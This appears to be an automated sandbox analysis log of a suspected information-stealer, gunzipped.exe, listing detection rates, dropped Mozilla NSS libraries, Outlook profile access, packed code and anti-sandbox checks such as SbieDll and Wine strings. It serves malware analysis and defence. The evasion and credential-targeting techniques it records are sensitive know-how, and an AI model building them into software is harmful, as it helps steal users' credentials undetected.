Source: gunzipped.exe, 00000003.00000003.275174463.00000000034A0000.00000004.00000001.sdmp, nss3.dll.3.dr	Binary or memory string: CREATE TABLE xx( name TEXT, /* Name of table or index / path TEXT, / Path to page from root / pageno INTEGER, / Page number / pagetype TEXT, / 'internal', 'leaf' or 'overflow' / ncell INTEGER, / Cells on page (0 for overflow) / payload INTEGER, / Bytes of payload on this page / unused INTEGER, / Bytes of unused space on this page / mx_payload INTEGER, / Largest payload size of all cells / pgoffset INTEGER, / Offset of page in file / pgsize INTEGER, / Size of the page / schema TEXT HIDDEN / Database schema being analyzed */);
Source: gunzipped.exe, 00000003.00000003.275174463.00000000034A0000.00000004.00000001.sdmp, nss3.dll.3.dr	Binary or memory string: UPDATE %Q.%s SET sql = CASE WHEN type = 'trigger' THEN sqlite_rename_trigger(sql, %Q)ELSE sqlite_rename_table(sql, %Q) END, tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqlite_autoindex%%' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: gunzipped.exe, 00000003.00000003.275174463.00000000034A0000.00000004.00000001.sdmp, softokn3.dll.3.dr	Binary or memory string: INSERT INTO metaData (id,item1,item2) VALUES($ID,$ITEM1,$ITEM2);

Source: gunzipped.exe	Virustotal: Detection: 55%
Source: gunzipped.exe	ReversingLabs: Detection: 75%

Source: unknown	Process created: C:\Users\user\Desktop\gunzipped.exe 'C:\Users\user\Desktop\gunzipped.exe'
Source: C:\Users\user\Desktop\gunzipped.exe	Process created: C:\Users\user\Desktop\gunzipped.exe {path}
Source: C:\Users\user\Desktop\gunzipped.exe	Process created: C:\Users\user\Desktop\gunzipped.exe {path}	Jump to behavior

Source: C:\Users\user\Desktop\gunzipped.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{3C374A40-BAE4-11CF-BF7D-00AA006946EE}\InProcServer32

Jump to behavior

Source: C:\Users\user\Desktop\gunzipped.exe

File opened: C:\Windows\Microsoft.NET\Framework\v2.0.50727\mscorrc.dll

Jump to behavior

Source: C:\Users\user\Desktop\gunzipped.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook

Jump to behavior

Source: gunzipped.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR

Source: C:\Users\user\Desktop\gunzipped.exe

File opened: C:\Windows\WinSxS\x86_microsoft.vc80.crt_1fc8b3b9a1e18e3b_8.0.50727.9445_none_d08c58b4442ba54f\MSVCR80.dll

Jump to behavior

Source: gunzipped.exe

Static PE information: NO_SEH, TERMINAL_SERVER_AWARE, DYNAMIC_BASE, NX_COMPAT

Source:	Binary string: api-ms-win-crt-locale-l1-1-0.pdb source: gunzipped.exe, 00000003.00000003.274743641.0000000004128000.00000004.00000001.sdmp, api-ms-win-crt-locale-l1-1-0.dll.3.dr
Source:	Binary string: api-ms-win-crt-runtime-l1-1-0.pdb source: gunzipped.exe, 00000003.00000003.274865988.0000000004150000.00000004.00000001.sdmp, api-ms-win-crt-runtime-l1-1-0.dll.3.dr
Source:	Binary string: z:\build\build\src\obj-firefox\mozglue\build\mozglue.pdb source: gunzipped.exe, 00000003.00000003.269486087.0000000003728000.00000004.00000001.sdmp, mozglue.dll.3.dr
Source:	Binary string: z:\build\build\src\obj-firefox\security\nss3.pdb source: gunzipped.exe, 00000003.00000003.275174463.00000000034A0000.00000004.00000001.sdmp, nss3.dll.3.dr
Source:	Binary string: ucrtbase.pdb source: gunzipped.exe, 00000003.00000003.275174463.00000000034A0000.00000004.00000001.sdmp, ucrtbase.dll.3.dr
Source:	Binary string: api-ms-win-core-file-l1-2-0.pdb source: gunzipped.exe, 00000003.00000003.274290249.0000000004094000.00000004.00000001.sdmp, api-ms-win-core-file-l1-2-0.dll.3.dr
Source:	Binary string: api-ms-win-core-memory-l1-1-0.pdb source: gunzipped.exe, 00000003.00000003.274375989.00000000040B0000.00000004.00000001.sdmp, api-ms-win-core-memory-l1-1-0.dll.3.dr
Source:	Binary string: z:\build\build\src\obj-firefox\security\nss\lib\freebl\freebl_freebl3\freebl3.pdb source: gunzipped.exe, 00000003.00000003.269240179.0000000003728000.00000004.00000001.sdmp, freebl3.dll.3.dr
Source:	Binary string: api-ms-win-core-debug-l1-1-0.pdb source: gunzipped.exe, 00000003.00000003.274208393.0000000004088000.00000004.00000001.sdmp, api-ms-win-core-debug-l1-1-0.dll.3.dr
Source:	Binary string: api-ms-win-core-sysinfo-l1-1-0.pdb source: gunzipped.exe, 00000003.00000003.268354039.0000000003728000.00000004.00000001.sdmp, api-ms-win-core-sysinfo-l1-1-0.dll.3.dr
Source:	Binary string: api-ms-win-crt-filesystem-l1-1-0.pdb source: gunzipped.exe, 00000003.00000003.274723981.0000000004118000.00000004.00000001.sdmp, api-ms-win-crt-filesystem-l1-1-0.dll.3.dr
Source:	Binary string: api-ms-win-crt-stdio-l1-1-0.pdb source: gunzipped.exe, 00000003.00000003.268805106.0000000003724000.00000004.00000001.sdmp, api-ms-win-crt-stdio-l1-1-0.dll.3.dr
Source:	Binary string: api-ms-win-core-heap-l1-1-0.pdb source: gunzipped.exe, 00000003.00000003.274375989.00000000040B0000.00000004.00000001.sdmp, api-ms-win-core-heap-l1-1-0.dll.3.dr
Source:	Binary string: api-ms-win-core-util-l1-1-0.pdb source: gunzipped.exe, 00000003.00000003.274632349.00000000040F4000.00000004.00000001.sdmp, api-ms-win-core-util-l1-1-0.dll.3.dr
Source:	Binary string: api-ms-win-core-synch-l1-1-0.pdb source: gunzipped.exe, 00000003.00000003.268332940.0000000003724000.00000004.00000001.sdmp, api-ms-win-core-synch-l1-1-0.dll.3.dr
Source:	Binary string: vcruntime140.i386.pdbGCTL source: gunzipped.exe, 00000003.00000003.275951863.0000000003708000.00000004.00000001.sdmp, vcruntime140.dll.3.dr
Source:	Binary string: api-ms-win-crt-environment-l1-1-0.pdb source: gunzipped.exe, 00000003.00000003.282742497.00000000037FC000.00000004.00000001.sdmp, api-ms-win-crt-environment-l1-1-0.dll.3.dr
Source:	Binary string: z:\build\build\src\obj-firefox\mozglue\build\mozglue.pdb11 source: gunzipped.exe, 00000003.00000003.269486087.0000000003728000.00000004.00000001.sdmp, mozglue.dll.3.dr
Source:	Binary string: api-ms-win-core-errorhandling-l1-1-0.pdb source: gunzipped.exe, 00000003.00000003.274290249.0000000004094000.00000004.00000001.sdmp, api-ms-win-core-errorhandling-l1-1-0.dll.3.dr
Source:	Binary string: api-ms-win-core-processthreads-l1-1-0.pdb source: gunzipped.exe, 00000003.00000003.268244527.0000000003724000.00000004.00000001.sdmp, api-ms-win-core-processthreads-l1-1-0.dll.3.dr
Source:	Binary string: api-ms-win-core-console-l1-1-0.pdb source: gunzipped.exe, 00000003.00000003.282985286.00000000037F8000.00000004.00000001.sdmp, api-ms-win-core-console-l1-1-0.dll.3.dr
Source:	Binary string: z:\build\build\src\obj-firefox\security\nss\lib\freebl\freebl_freebl3\freebl3.pdbZZ source: gunzipped.exe, 00000003.00000003.269240179.0000000003728000.00000004.00000001.sdmp, freebl3.dll.3.dr
Source:	Binary string: api-ms-win-core-file-l1-1-0.pdb source: gunzipped.exe, 00000003.00000003.267552438.0000000003724000.00000004.00000001.sdmp, api-ms-win-core-file-l1-1-0.dll.3.dr
Source:	Binary string: api-ms-win-crt-private-l1-1-0.pdb source: gunzipped.exe, 00000003.00000003.274828166.000000000413C000.00000004.00000001.sdmp, api-ms-win-crt-private-l1-1-0.dll.3.dr
Source:	Binary string: api-ms-win-crt-convert-l1-1-0.pdb source: gunzipped.exe, 00000003.00000003.268528772.0000000003728000.00000004.00000001.sdmp, api-ms-win-crt-convert-l1-1-0.dll.3.dr
Source:	Binary string: z:\build\build\src\obj-firefox\security\nss\lib\softoken\softoken_softokn3\softokn3.pdb)) source: gunzipped.exe, 00000003.00000003.275174463.00000000034A0000.00000004.00000001.sdmp, softokn3.dll.3.dr
Source:	Binary string: msvcp140.i386.pdb source: gunzipped.exe, 00000003.00000003.275123945.000000000342C000.00000004.00000001.sdmp, msvcp140.dll.3.dr
Source:	Binary string: ucrtbase.pdbUGP source: gunzipped.exe, 00000003.00000003.275174463.00000000034A0000.00000004.00000001.sdmp, ucrtbase.dll.3.dr
Source:	Binary string: api-ms-win-core-profile-l1-1-0.pdb source: gunzipped.exe, 00000003.00000003.268265315.0000000003724000.00000004.00000001.sdmp, api-ms-win-core-profile-l1-1-0.dll.3.dr
Source:	Binary string: api-ms-win-crt-time-l1-1-0.pdb source: gunzipped.exe, 00000003.00000003.274865988.0000000004150000.00000004.00000001.sdmp, api-ms-win-crt-time-l1-1-0.dll.3.dr
Source:	Binary string: z:\build\build\src\obj-firefox\security\nss\lib\softoken\legacydb\legacydb_nssdbm3\nssdbm3.pdb-- source: gunzipped.exe, 00000003.00000003.274865988.0000000004150000.00000004.00000001.sdmp, nssdbm3.dll.3.dr
Source:	Binary string: api-ms-win-core-handle-l1-1-0.pdb source: gunzipped.exe, 00000003.00000003.274290249.0000000004094000.00000004.00000001.sdmp, api-ms-win-core-handle-l1-1-0.dll.3.dr
Source:	Binary string: api-ms-win-core-synch-l1-2-0.pdb source: gunzipped.exe, 00000003.00000003.268354039.0000000003728000.00000004.00000001.sdmp, api-ms-win-core-synch-l1-2-0.dll.3.dr
Source:	Binary string: api-ms-win-core-processenvironment-l1-1-0.pdb source: gunzipped.exe, 00000003.00000003.282742497.00000000037FC000.00000004.00000001.sdmp, api-ms-win-core-processenvironment-l1-1-0.dll.3.dr
Source:	Binary string: api-ms-win-core-datetime-l1-1-0.pdb source: gunzipped.exe, 00000003.00000003.274208393.0000000004088000.00000004.00000001.sdmp, api-ms-win-core-datetime-l1-1-0.dll.3.dr
Source:	Binary string: api-ms-win-crt-conio-l1-1-0.pdb source: gunzipped.exe, 00000003.00000003.268451933.0000000003724000.00000004.00000001.sdmp, api-ms-win-crt-conio-l1-1-0.dll.3.dr
Source:	Binary string: api-ms-win-core-localization-l1-2-0.pdb source: gunzipped.exe, 00000003.00000003.274375989.00000000040B0000.00000004.00000001.sdmp, api-ms-win-core-localization-l1-2-0.dll.3.dr
Source:	Binary string: api-ms-win-crt-math-l1-1-0.pdb source: gunzipped.exe, 00000003.00000003.274743641.0000000004128000.00000004.00000001.sdmp, api-ms-win-crt-math-l1-1-0.dll.3.dr
Source:	Binary string: z:\build\build\src\obj-firefox\security\nss\lib\softoken\softoken_softokn3\softokn3.pdb source: gunzipped.exe, 00000003.00000003.275174463.00000000034A0000.00000004.00000001.sdmp, softokn3.dll.3.dr
Source:	Binary string: api-ms-win-core-processthreads-l1-1-1.pdb source: gunzipped.exe, 00000003.00000003.274537491.00000000040D8000.00000004.00000001.sdmp, api-ms-win-core-processthreads-l1-1-1.dll.3.dr
Source:	Binary string: mscorrc.pdb source: gunzipped.exe, 00000001.00000002.262457843.0000000007360000.00000002.00000001.sdmp
Source:	Binary string: api-ms-win-core-namedpipe-l1-1-0.pdb source: gunzipped.exe, 00000003.00000003.274375989.00000000040B0000.00000004.00000001.sdmp, api-ms-win-core-namedpipe-l1-1-0.dll.3.dr
Source:	Binary string: api-ms-win-crt-multibyte-l1-1-0.pdb source: gunzipped.exe, 00000003.00000003.268657790.0000000003728000.00000004.00000001.sdmp, api-ms-win-crt-multibyte-l1-1-0.dll.3.dr
Source:	Binary string: vcruntime140.i386.pdb source: gunzipped.exe, 00000003.00000003.275951863.0000000003708000.00000004.00000001.sdmp, vcruntime140.dll.3.dr
Source:	Binary string: api-ms-win-crt-utility-l1-1-0.pdb source: gunzipped.exe, 00000003.00000003.274865988.0000000004150000.00000004.00000001.sdmp, api-ms-win-crt-utility-l1-1-0.dll.3.dr
Source:	Binary string: api-ms-win-core-rtlsupport-l1-1-0.pdb source: gunzipped.exe, 00000003.00000003.274537491.00000000040D8000.00000004.00000001.sdmp, api-ms-win-core-rtlsupport-l1-1-0.dll.3.dr
Source:	Binary string: z:\build\build\src\obj-firefox\security\nss\lib\softoken\legacydb\legacydb_nssdbm3\nssdbm3.pdb source: gunzipped.exe, 00000003.00000003.274865988.0000000004150000.00000004.00000001.sdmp, nssdbm3.dll.3.dr
Source:	Binary string: api-ms-win-core-timezone-l1-1-0.pdb source: gunzipped.exe, 00000003.00000003.274632349.00000000040F4000.00000004.00000001.sdmp, api-ms-win-core-timezone-l1-1-0.dll.3.dr
Source:	Binary string: msvcp140.i386.pdbGCTL source: gunzipped.exe, 00000003.00000003.275123945.000000000342C000.00000004.00000001.sdmp, msvcp140.dll.3.dr
Source:	Binary string: api-ms-win-core-string-l1-1-0.pdb source: gunzipped.exe, 00000003.00000003.274537491.00000000040D8000.00000004.00000001.sdmp, api-ms-win-core-string-l1-1-0.dll.3.dr
Source:	Binary string: api-ms-win-core-file-l2-1-0.pdb source: gunzipped.exe, 00000003.00000003.274290249.0000000004094000.00000004.00000001.sdmp, api-ms-win-core-file-l2-1-0.dll.3.dr
Source:	Binary string: api-ms-win-crt-process-l1-1-0.pdb source: gunzipped.exe, 00000003.00000003.274865988.0000000004150000.00000004.00000001.sdmp, api-ms-win-crt-process-l1-1-0.dll.3.dr
Source:	Binary string: api-ms-win-core-libraryloader-l1-1-0.pdb source: gunzipped.exe, 00000003.00000003.274375989.00000000040B0000.00000004.00000001.sdmp, api-ms-win-core-libraryloader-l1-1-0.dll.3.dr
Source:	Binary string: api-ms-win-core-interlocked-l1-1-0.pdb source: gunzipped.exe, 00000003.00000003.274375989.00000000040B0000.00000004.00000001.sdmp, api-ms-win-core-interlocked-l1-1-0.dll.3.dr
Source:	Binary string: api-ms-win-crt-heap-l1-1-0.pdb source: gunzipped.exe, 00000003.00000003.274723981.0000000004118000.00000004.00000001.sdmp, api-ms-win-crt-heap-l1-1-0.dll.3.dr
Source:	Binary string: api-ms-win-crt-string-l1-1-0.pdb source: gunzipped.exe, 00000003.00000003.268805106.0000000003724000.00000004.00000001.sdmp, api-ms-win-crt-string-l1-1-0.dll.3.dr

Source: api-ms-win-core-console-l1-1-0.dll.3.dr

Static PE information: 0xAC22BA81 [Thu Jul 7 10:18:41 2061 UTC]

Source: C:\Users\user\Desktop\gunzipped.exe

Code function: 3_2_00417216 LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,

3_2_00417216

Source: C:\Users\user\Desktop\gunzipped.exe	Code function: 1_2_00C580D5 push cs; ret	1_2_00C580D6
Source: C:\Users\user\Desktop\gunzipped.exe	Code function: 1_2_00C582E1 push cs; ret	1_2_00C582E2
Source: C:\Users\user\Desktop\gunzipped.exe	Code function: 1_2_00C58C6A push cs; ret	1_2_00C58C6B
Source: C:\Users\user\Desktop\gunzipped.exe	Code function: 1_2_00C58992 push cs; ret	1_2_00C58993
Source: C:\Users\user\Desktop\gunzipped.exe	Code function: 1_2_00C57A9C push cs; ret	1_2_00C57A9D
Source: C:\Users\user\Desktop\gunzipped.exe	Code function: 1_2_00C57D3E push cs; ret	1_2_00C57D3F
Source: C:\Users\user\Desktop\gunzipped.exe	Code function: 1_2_00C577BB push cs; ret	1_2_00C577BC
Source: C:\Users\user\Desktop\gunzipped.exe	Code function: 1_2_00C5863A push cs; ret	1_2_00C5863B
Source: C:\Users\user\Desktop\gunzipped.exe	Code function: 1_2_016F87E4 pushfd ; retf	1_2_016F87E5
Source: C:\Users\user\Desktop\gunzipped.exe	Code function: 1_2_016FAEB5 push ds; retf	1_2_016FAEBC
Source: C:\Users\user\Desktop\gunzipped.exe	Code function: 3_2_00404C1C push 00404C6Dh; ret	3_2_00404C65
Source: C:\Users\user\Desktop\gunzipped.exe	Code function: 3_2_0041A068 push 0041A08Eh; ret	3_2_0041A086
Source: C:\Users\user\Desktop\gunzipped.exe	Code function: 3_2_0041A02C push 0041A05Ch; ret	3_2_0041A054
Source: C:\Users\user\Desktop\gunzipped.exe	Code function: 3_2_0040E8D0 push 0040E905h; ret	3_2_0040E8FD
Source: C:\Users\user\Desktop\gunzipped.exe	Code function: 3_2_0040B164 push 0040B190h; ret	3_2_0040B188
Source: C:\Users\user\Desktop\gunzipped.exe	Code function: 3_2_0040E908 push 0040E94Ah; ret	3_2_0040E942
Source: C:\Users\user\Desktop\gunzipped.exe	Code function: 3_2_0040B12C push 0040B158h; ret	3_2_0040B150
Source: C:\Users\user\Desktop\gunzipped.exe	Code function: 3_2_0040C136 push 0040C164h; ret	3_2_0040C15C
Source: C:\Users\user\Desktop\gunzipped.exe	Code function: 3_2_0040C138 push 0040C164h; ret	3_2_0040C15C
Source: C:\Users\user\Desktop\gunzipped.exe	Code function: 3_2_0040813C push 00408174h; ret	3_2_0040816C
Source: C:\Users\user\Desktop\gunzipped.exe	Code function: 3_2_004171E8 push 00417214h; ret	3_2_0041720C
Source: C:\Users\user\Desktop\gunzipped.exe	Code function: 3_2_0040C9EA push 0040CA18h; ret	3_2_0040CA10
Source: C:\Users\user\Desktop\gunzipped.exe	Code function: 3_2_0040C9EC push 0040CA18h; ret	3_2_0040CA10
Source: C:\Users\user\Desktop\gunzipped.exe	Code function: 3_2_0040E1A4 push 0040E1D0h; ret	3_2_0040E1C8
Source: C:\Users\user\Desktop\gunzipped.exe	Code function: 3_2_0040B1B8 push 0040B1E4h; ret	3_2_0040B1DC
Source: C:\Users\user\Desktop\gunzipped.exe	Code function: 3_2_0040E25A push 0040E288h; ret	3_2_0040E280
Source: C:\Users\user\Desktop\gunzipped.exe	Code function: 3_2_0040E25C push 0040E288h; ret	3_2_0040E280
Source: C:\Users\user\Desktop\gunzipped.exe	Code function: 3_2_00414A28 push 00414A84h; ret	3_2_00414A7C
Source: C:\Users\user\Desktop\gunzipped.exe	Code function: 3_2_0040BAB8 push 0040BAE4h; ret	3_2_0040BADC
Source: C:\Users\user\Desktop\gunzipped.exe	Code function: 3_2_00409B54 push 00409BC8h; ret	3_2_00409BC0
Source: C:\Users\user\Desktop\gunzipped.exe	Code function: 3_2_00409B78 push 00409BC8h; ret	3_2_00409BC0

Source: initial sample

Static PE information: section name: .text entropy: 7.97520833345

Source: C:\Users\user\Desktop\gunzipped.exe	File created: C:\Users\user\AppData\Local\Temp\2fda\softokn3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\gunzipped.exe	File created: C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-core-datetime-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\gunzipped.exe	File created: C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-crt-time-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\gunzipped.exe	File created: C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-core-util-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\gunzipped.exe	File created: C:\Users\user\AppData\Local\Temp\2fda\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\gunzipped.exe	File created: C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-crt-runtime-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\gunzipped.exe	File created: C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-core-string-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\gunzipped.exe	File created: C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-crt-stdio-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\gunzipped.exe	File created: C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-core-sysinfo-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\gunzipped.exe	File created: C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-crt-string-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\gunzipped.exe	File created: C:\Users\user\AppData\Local\Temp\2fda\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\gunzipped.exe	File created: C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-crt-private-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\gunzipped.exe	File created: C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-crt-convert-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\gunzipped.exe	File created: C:\Users\user\AppData\Local\Temp\2fda\ucrtbase.dll	Jump to dropped file
Source: C:\Users\user\Desktop\gunzipped.exe	File created: C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-crt-multibyte-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\gunzipped.exe	File created: C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-core-profile-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\gunzipped.exe	File created: C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-core-localization-l1-2-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\gunzipped.exe	File created: C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-core-rtlsupport-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\gunzipped.exe	File created: C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-core-file-l2-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\gunzipped.exe	File created: C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-core-console-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\gunzipped.exe	File created: C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-crt-heap-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\gunzipped.exe	File created: C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-core-processthreads-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\gunzipped.exe	File created: C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-core-heap-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\gunzipped.exe	File created: C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-core-handle-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\gunzipped.exe	File created: C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-core-processenvironment-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\gunzipped.exe	File created: C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-core-synch-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\gunzipped.exe	File created: C:\Users\user\AppData\Local\Temp\2fda\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\gunzipped.exe	File created: C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-crt-conio-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\gunzipped.exe	File created: C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-crt-utility-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\gunzipped.exe	File created: C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-core-file-l1-2-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\gunzipped.exe	File created: C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-core-timezone-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\gunzipped.exe	File created: C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-crt-filesystem-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\gunzipped.exe	File created: C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-core-libraryloader-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\gunzipped.exe	File created: C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-crt-locale-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\gunzipped.exe	File created: C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-core-namedpipe-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\gunzipped.exe	File created: C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-core-errorhandling-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\gunzipped.exe	File created: C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-core-synch-l1-2-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\gunzipped.exe	File created: C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-core-interlocked-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\gunzipped.exe	File created: C:\Users\user\AppData\Local\Temp\2fda\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\gunzipped.exe	File created: C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-core-memory-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\gunzipped.exe	File created: C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-crt-math-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\gunzipped.exe	File created: C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-crt-process-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\gunzipped.exe	File created: C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-core-debug-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\gunzipped.exe	File created: C:\Users\user\AppData\Local\Temp\2fda\nssdbm3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\gunzipped.exe	File created: C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-core-processthreads-l1-1-1.dll	Jump to dropped file
Source: C:\Users\user\Desktop\gunzipped.exe	File created: C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-crt-environment-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\gunzipped.exe	File created: C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-core-file-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\gunzipped.exe	File created: C:\Users\user\AppData\Local\Temp\2fda\mozglue.dll	Jump to dropped file

Source: C:\Users\user\Desktop\gunzipped.exe

3_2_00417216

Source: C:\Users\user\Desktop\gunzipped.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\gunzipped.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\gunzipped.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\gunzipped.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\gunzipped.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\gunzipped.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\gunzipped.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\gunzipped.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\gunzipped.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\gunzipped.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\gunzipped.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\gunzipped.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\gunzipped.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\gunzipped.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\gunzipped.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\gunzipped.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\gunzipped.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\gunzipped.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\gunzipped.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\gunzipped.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\gunzipped.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\gunzipped.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\gunzipped.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\gunzipped.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\gunzipped.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\gunzipped.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\gunzipped.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion:

Yara detected AntiVM3

Show sources

Source: Yara match

File source: Process Memory Space: gunzipped.exe PID: 5624, type: MEMORY

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Show sources

Source: gunzipped.exe, 00000001.00000002.254573447.0000000003470000.00000004.00000001.sdmp	Binary or memory string: WINE_GET_UNIX_FILE_NAME
Source: gunzipped.exe, 00000001.00000002.254573447.0000000003470000.00000004.00000001.sdmp	Binary or memory string: SBIEDLL.DLL

Source: C:\Users\user\Desktop\gunzipped.exe

3_2_00416290

Source: C:\Users\user\Desktop\gunzipped.exe

Thread delayed: delay time: 922337203685477

Jump to behavior

